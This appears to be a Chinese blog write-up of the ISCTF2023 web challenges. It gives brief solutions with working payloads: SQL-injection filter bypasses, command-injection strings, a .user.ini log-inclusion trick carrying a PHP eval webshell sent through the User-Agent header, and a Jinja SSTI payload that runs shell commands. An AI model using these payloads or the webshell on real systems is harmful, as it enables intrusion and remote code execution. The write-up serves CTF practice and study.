[WP] ISCTF2023 Web 部分题解

圣杯战争!!!

反序列化+伪协议读取

where_is_the_flag

环境变量+根目录+当前目录

绕进你的心里

利用正则最大回溯绕过

easy_website

or select 用双写绕过 空格用/**/绕,报错注入

wafr

code=system('ca\t /f*')

webinclude

扫描得到index.bak备份文件打开为加密的代码 写个逆向脚本再反求parameter即可

复制代码
JavaScript
const hash = 'dxdydxdudxdtdxeadxekdxea';

function string_to_int_array(str) {
  const intArr = [];
  for (let i = 0; i < str.length; i++) {
    intArr.push(str.charCodeAt(i) - 97);
  }
  return intArr;
}

function int_array_to_string(int_array) {
  let str = '';
  for (let i = 0; i < int_array.length; i += 2) {
    const charcode = int_array[i] * 26 + int_array[i + 1];
    str += String.fromCharCode(charcode);
  }
  return str;
}

console.log(int_array_to_string(string_to_int_array(int_array_to_string(string_to_int_array(hash)))));

得到参数名 直接伪协议读取flag.php

ez_ini

ini文件上传 +UA头添加木马

.user.ini 文件:

复制代码
GIF89A
auto_append_file="/var/log/nginx/access.log"

木马:

复制代码
<?php @eval($_POST['wenda']);?

然后远程命令执行就行了

复制代码
POST:

wenda=system('tac /flag');

注意一下上传ini文件的时候 type类型要改成image/jpeg 或者/image/png 类型】

或者直接ini 文件直接读取file:///flag 就行

复制代码
auto_prepend_file=file:///flag

fuzz!

通配符【】绕过 字符过滤 管道符| 拼接命令

复制代码
?file=|tac /fl[a-z]ggggggg.txt

恐怖 G7 人

ssti注入:

复制代码
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
相关推荐
print_Hyon17 小时前
【CTF-CRYPTO-教学-XOR】第二节:只有密文没有任何线索,暴力破解
ctf
kingx33 天前
Bugku 真题 Vigenère XOR(UMDCTF 2022)WriteUp:汉明距离 + 逐列频率破重复密钥 XOR
ctf·bugku·汉明距离·维吉尼亚
lone wolf0073 天前
bugku web题文件包含2
ctf
hengdonghui5 天前
Writeup 4 Bugku - USB 流量截取
wireshark·ctf·流量分析·misc(杂项)
hengdonghui6 天前
Writeup 4 GFCTF 2021 Baby_Web
web·ctf·变量覆盖·路径穿越·php 代码审计
kingx36 天前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
kingx37 天前
Bugku 3122 谷歌小恐龙题解:纯离线逆向 Vault 的 AES-GCM 加密资源(附 Python 解密器)
java·逆向·ctf·bugku·aes-gcm
kingx38 天前
Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)
pwn·ctf·glibc·堆溢出·fsop
hengdonghui8 天前
Writeup 4 0xGame 2021 · command (WEB)
web·ctf·rce(远程代码执行)
0xBADCODE9 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf